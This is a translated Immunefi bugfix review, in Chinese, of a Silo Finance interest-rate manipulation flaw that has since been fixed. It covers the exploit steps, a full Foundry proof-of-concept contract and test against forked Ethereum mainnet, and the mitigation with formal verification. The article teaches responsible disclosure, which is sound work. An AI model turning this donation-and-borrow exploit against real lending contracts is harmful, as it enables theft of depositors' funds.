该文章详细介绍了Silo Finance中的一个严重逻辑错误漏洞,该漏洞可能导致黑客盗取价值300万美元的资产。作者分析了该漏洞的原理、攻击步骤及影响,并介绍了Silo Finance团队如何迅速修复该问题,确保用户资金安全。文章中包含了相关代码块、漏洞分析及修复措施,内容丰富且具有较高的技术深度。
在4月28日,一位知名的白帽黑客@kankodu通过Immunefi负责任地向Silo Finance披露了一个关键的逻辑错误漏洞。该漏洞展示了一个潜在的利用,可能使恶意黑客从Silo池合约中盗取资产。白帽黑客演示了一名攻击者可以操控利率,以借取比系统应该允许的更多资金。白帽黑客评估了该漏洞,并估计如果该漏洞在实际中被利用,可能会导致以太坊上的多个Silo池损失约300万美元。
幸运的是,得益于白帽黑客的迅速发现和通过Immunefi的报告,Silo Finance团队能够迅速修复该问题。
没有用户资金被盗,白帽黑客获得了100,000 USDC的奖励。
Silo Finance创建了无许可和风险隔离的借贷市场,采用隔离池的方式,其中每种代币资产都有自己的借贷市场,并与桥接资产ETH和XAI(Silo的超抵押稳定币)配对。所有协议中的贷款人仅在任何时间面临ETH和XAI的风险。
此外,由于所有代币都与ETH或XAI配对,因此每种代币资产仅有一个市场,这防止了流动性的碎片化,并允许更大的协议效率。这种方法与纯借贷配对的方法形成对比,后者为每个额外的配对创建新的借贷市场。
白帽黑客报告了在Base Silo合约中发现的漏洞,该合约负责处理借贷协议的核心逻辑。
Silo的合约是一个借贷协议,允许用户通过调用合约的deposit(…)
功能将抵押资产代币存入合约。作为回报,合约根据存入金额和股份的总供应量铸造股份代币,并更新存储状态_assetStorage[_asset]
与存入金额。
Silo Finance Bugfix Review 1.sol – Medium
AssetStorage storage _state = _assetStorage\[_asset\];
collateralAmount = _amount;
uint256 totalDepositsCached = _collateralOnly ? _state.collateralOnlyDeposits : _state.totalDeposits;
if (_collateralOnly) {
collateralShare = _amount.toShare(totalDepositsCached, _state.collateralOnlyToken.totalSupply());
_state.collateralOnlyDeposits = totalDepositsCached + _amount;
_state.collateralOnlyToken.mint(_depositor, collateralShare);
} else {
collateralShare = _amount.toShare(totalDepositsCached, _state.collateralToken.totalSupply());
_state.totalDeposits = totalDepositsCached + _amount;
_state.collateralToken.mint(_depositor, collateralShare);
}
查看原始 Silo Finance Bugfix Review 1.sol 由GitHub提供 ❤
在合约中存入抵押品的用户可以通过使用borrow(…)
函数从协议中借入其他资产,该函数首先更新借入资产的应计利率,然后检查当前合约是否有足够的代币供用户借用。之后,该函数将代币转账给用户,并根据提供的抵押品检查贷款与价值比(LTV)比例。
Silo Finance Bugfix Review 2.sol – Medium
function _borrow(address _asset, address _borrower, address _receiver, uint256 _amount)
internal
nonReentrant
returns (uint256 debtAmount, uint256 debtShare)
{
// 必须作为第一个方法调用!
_accrueInterest(_asset);
if (!borrowPossible(_asset, _borrower)) revert BorrowNotPossible();
if (liquidity(_asset) < _amount) revert NotEnoughLiquidity();
/// @inheritdoc IBaseSilo
function liquidity(address _asset) public view returns (uint256) {
return ERC20(_asset).balanceOf(address(this)) - _assetStorage[_asset].collateralOnlyDeposits;
}
查看原始 Silo Finance Bugfix Review 2.sol
高层次来看,该漏洞允许攻击者操控合约中为零的资产的利用率。攻击者可以通过向合约捐赠一个ERC20资产来操控利用率,如果攻击者在该特定资产的市场中拥有大部分股份,借入捐赠的代币将会提升该特定资产的利用率。通常,复制此攻击的步骤如下:
totalDeposits
变为非零。accrueInterest()
,攻击者最初存入的金额的利用率将超过100%,这将导致极高的利率。Silo Finance Bugfix Review 3.sol – Medium
/// @inheritdoc IBaseSilo
function liquidity(address _asset) public view returns (uint256) {
return ERC20(_asset).balanceOf(address(this)) - _assetStorage\[_asset\].collateralOnlyDeposits;
}
查看原始 Silo Finance Bugfix Review 3.sol
在提交时,WETH在一个Silo市场中的总存款为零。由于totalDeposits
和合约中的WETH余额都为零,WETH的应计利率_accrueInterest(address _asset)
也为零,因为没有借款者。
为了操控WETH的利率,攻击者本可以通过使用deposit(…)
功能向合约存入极少量的10⁵ wei的WETH,这将导致Silo.assetStorage[WETH].totalDeposit
的记录变更为10⁵ wei。
然后,攻击者可以手动转移或捐赠1 WETH给合约,这将使总存入的WETH与当前市场中的WETH余额之间产生差距。
使用另一个账户,攻击者本可以将约(~2WETH的价值)的545 LINK代币作为抵押品存入合约,并从合约借入1 WETH,因为合约中有足够的WETH流动性可以借,而Silo.assetStorage[WETH].totalDeposit
中没有记录足够的存款。
在下一个区块中,由于Silo.assetStorage[WETH].totalBorrows
远超过Silo.assetStorage[WETH].totalDeposits
,这将导致超过5000 ETH的利息应计,攻击者最初存入的1e5 WETH的抵押品现在的价值超过5000 ETH,原因是借入WETH代币的利率膨胀。
Silo Finance Bugfix Review 4.sol – Medium
uint256 rcomp = _getModel(_asset).getCompoundInterestRateAndUpdate(_asset, block.timestamp);
uint256 protocolShareFee = siloRepository.protocolShareFee();
uint256 totalBorrowAmountCached = _state.totalBorrowAmount;
uint256 protocolFeesCached = _assetInterestData.protocolFees;
uint256 newProtocolFees;
uint256 protocolShare;
uint256 depositorsShare;
accruedInterest = totalBorrowAmountCached \* rcomp / Solvency._PRECISION_DECIMALS;
unchecked {
// 如果在乘法中溢出,不应回退交易,我们将获得更低的费用
protocolShare = accruedInterest \* protocolShareFee / Solvency._PRECISION_DECIMALS;
newProtocolFees = protocolFeesCached + protocolShare;
if (newProtocolFees < protocolFeesCached) {
protocolShare = type(uint256).max - protocolFeesCached;
newProtocolFees = type(uint256).max;
}
depositorsShare = accruedInterest - protocolShare;
}
查看原始 Silo Finance Bugfix Review 4.sol
Immunefi团队准备了以下PoC以展示所解释的漏洞。
该POC旨在供读者学习和在Forge中测试:
使用此POC的步骤如下:
BugFixReview.sol
替换Counter.sol
BugFixReview.t.sol
替换Counter.t.sol
forge test — match-path test/BugFixReview.t.sol -vvv
该POC将对17139470和17139471进行本地分叉,并尝试在第一块之前操控利率,然后在第二块上盗取资金。由于攻击发生在两个区块上,我们不能使用闪电贷来模拟攻击。
我们可以做的替代方案是用Forge的deal
来操控攻击者合约的余额。
BugFixReview.sol
Silo Finance Bugfix Review 5.sol – Medium
pragma solidity^0.8.0;
import"forge-std/console.sol";
import"@openzeppelin/interfaces/IERC20.sol";
interfaceISilo {
function deposit(address_asset, uint256_amount, bool_collateralOnly)
external
returns (uint256collateralAmount, uint256collateralShare);
function borrow(address_asset, uint256_amount) externalreturns (uint256debtAmount, uint256debtShare);
function assetStorage(address_asset) externalviewreturns (IBaseSilo.AssetStorage memory) ;
function accrueInterest(address_asset) externalreturns (uint256interest);
}
interfaceIBaseSilo {
/// @dev 存储结构,持有单个代币市场所需的所有数据
struct AssetStorage {
/// @dev 代币,代表Silo总存款的股份
IShareToken collateralToken;
/// @dev 代币,代表Silo仅抵押存款的股份
IShareToken collateralOnlyToken;
/// @dev 代币,代表Silo已借总量的股份
IShareToken debtToken;
/// @dev COLLATERAL: 已存入Silo的资产代币,包括由存款人获得的利息。这
/// 还包括已经借用的代币金额。
uint256 totalDeposits;
/// @dev COLLATERAL ONLY: 存入Silo的资产代币,仅可用作为抵押。这些存款不会
/// 赚取利息,且无法借用。
uint256 collateralOnlyDeposits;
/// @dev DEBT: 已借用的资产代币金额,包括应计利息。
uint256 totalBorrowAmount;
}
}
interfaceIShareToken {}
contractOtherAccount{
ISilo immutable SILO;
IERC20constant public WETH =IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
IERC20constant public LINK =IERC20(0x514910771AF9Ca656af840dff83E8264EcF986CA);
address owner;
constructor(ISilo _silo) {
owner =msg.sender;
SILO = _silo;
}
modifier onlyOwner {
require(msg.sender== owner);
_;
}
function depositLinkAndBorrowWETH() external onlyOwner { // 这将膨胀ETH利率。
uint256 depositAmount = LINK.balanceOf(address(this));
LINK.approve(address(SILO), depositAmount);
SILO.deposit(address(LINK), depositAmount, true);
SILO.borrow(address(WETH), 1 ether);
WETH.transfer(owner, 1 ether); // 将借入的金额返还给合约
}
}
contractSiloBugFixReview{
ISilo publicconstant SILO =ISilo(0xcB3B879aB11F825885d5aDD8Bf3672596d35197C);
IERC20public constant XAI =IERC20(0xd7C9F0e536dC865Ae858b0C0453Fe76D13c3bEAc);
IERC20constant public WETH =IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
IERC20constant public LINK =IERC20(0x514910771AF9Ca656af840dff83E8264EcF986CA);
OtherAccount publicimmutable otherAccount;
constructor() {
otherAccount =newOtherAccount(SILO);
}
modifier checkZeroAssetStorage() {
require(SILO.assetStorage(address(WETH)).totalDeposits ==0);
_;
}
function run() external checkZeroAssetStorage {
uint256 accrueInterest = SILO.accrueInterest(address(WETH));
console.log("攻击前XAI余额= ", XAI.balanceOf(address(this)));
console.log("攻击前WETH利率 = ", accrueInterest);
uint256 depositAmount =1e5;
uint256 donatedAmount =1e18;
WETH.approve(address(SILO), depositAmount);
SILO.deposit(address(WETH), depositAmount, false);
WETH.transfer(address(SILO), donatedAmount);
otherAccount.depositLinkAndBorrowWETH();
}
function run2() external {
uint256 accrueInterest = SILO.accrueInterest(address(WETH));
SILO.borrow(address(XAI), XAI.balanceOf(address(SILO)));
console.log("攻击后XAI余额= ", XAI.balanceOf(address(this)));
console.log("攻击后WETH利率 = ", accrueInterest);
}
}
查看原始 Silo Finance Bugfix Review 5.sol
BugFixReview.t.sol
Silo Finance Bugfix Review 6.sol – Medium
pragma solidity^0.8.0;
import"forge-std/Test.sol";
import"../../src/SiloFinance/BugFixReview.sol";
contractSiloBugFixReviewTestisTest {
uint256 mainnetFork;
SiloBugFixReview public siloBugFixReview;
uint256constant depositAmount =1e5;
uint256constant donatedAmount =1e18;
uint256 otherAccountDepositAmount =545\*1e18;
function setUp() public {
mainnetFork = vm.createFork("mainnet", 17139470);
vm.selectFork(mainnetFork);
siloBugFixReview =newSiloBugFixReview();
deal(address(siloBugFixReview.WETH()), address(siloBugFixReview), depositAmount + donatedAmount);
deal(address(siloBugFixReview.LINK()), address(siloBugFixReview.otherAccount()), otherAccountDepositAmount);
}
function testAttack() public {
address LINK =0x514910771AF9Ca656af840dff83E8264EcF986CA;
address WETH =0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
console.log("时间戳前 = ",block.timestamp);
console.log("块号前 = ",block.number);
siloBugFixReview.run();
vm.makePersistent(address(siloBugFixReview));
vm.makePersistent(address(siloBugFixReview.SILO()));
vm.makePersistent(WETH);
vm.makePersistent(address(siloBugFixReview.SILO().assetStorage(WETH).collateralToken));
vm.makePersistent(address(siloBugFixReview.SILO().assetStorage(WETH).collateralOnlyToken));
vm.makePersistent(address(siloBugFixReview.SILO().assetStorage(WETH).debtToken));
vm.makePersistent(LINK);
vm.makePersistent(address(siloBugFixReview.SILO().assetStorage(LINK).collateralToken));
vm.makePersistent(address(siloBugFixReview.SILO().assetStorage(LINK).collateralOnlyToken));
vm.makePersistent(address(siloBugFixReview.SILO().assetStorage(LINK).debtToken));
vm.rollFork(block.number+1);
console.log("时间戳后 = ",block.timestamp);
console.log("块号后 = ",block.number);
siloBugFixReview.run2();
}
}
查看原始 Silo Finance Bugfix Review 6.sol
POC的日志输出:
从日志输出中可以看出,POC成功地膨胀了WETH的利率,攻击者可以利用这一点从市场上借取450K价值的XAI。
项目在提交报告后暂时修复了漏洞市场,待适当修复完成后,代码部署到主网。
项目实施的第一个缓解措施是向市场存入在市场中总存款为0的资产,这是在交易中可以看到的。
然而,这一存款仅暂时缓解了漏洞市场。为了永久修复,项目在利用率计算中实施了上限,并将最大复利利率限制为10k %年收益率。前者是为了确保利用率永远不会超过100%。后者是为了在复利利率超过10%后停止产生收益,除非调用accrueInterest()
。
为了确保项目实施的修复是安全的且没有留下任何边缘情况,代码经过了Certora的形式验证,并增加了覆盖此漏洞的规则。那些规则是:
cantExceedMaxUtilization
和interestNotMoreThenMax
。
cantExceedMaxUtilization
是一个不变性,保证利用率永远不超过100%。这意味着没有人可以借入超过存入金额的资金。interestNotMoreThenMax
测试修复以确保利率不能超过最大限制。此外,这些规则/规范的详细信息已由项目发布,你可以在他们的Github中访问。
永久修复可以在该地址查看。
有关Silo Finance和Certora针对此漏洞进行的修复的更多信息,你可以阅读这里和这里。
我们要感谢@kankodu出色地完成了这一重要漏洞的负责任披露。也要感谢Silo Finance团队快速响应报告并进行了修复。
如果你是一个考虑在web3中进行漏洞狩猎的web2或web3开发者,我们支持你。查看Web3安全库,并开始在Immunefi上赚取奖励——这是web3中最大的漏洞悬赏平台,具有世界上最大的收益。
如果你对自己的技能感到自信,希望查看自己是否能在代码中找到漏洞,请查看Silo Finance的漏洞悬赏计划。
- 原文链接: medium.com/immunefi/silo...
- 登链社区 AI 助手,为大家转译优秀英文文章,如有翻译不通的地方,还请包涵~
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!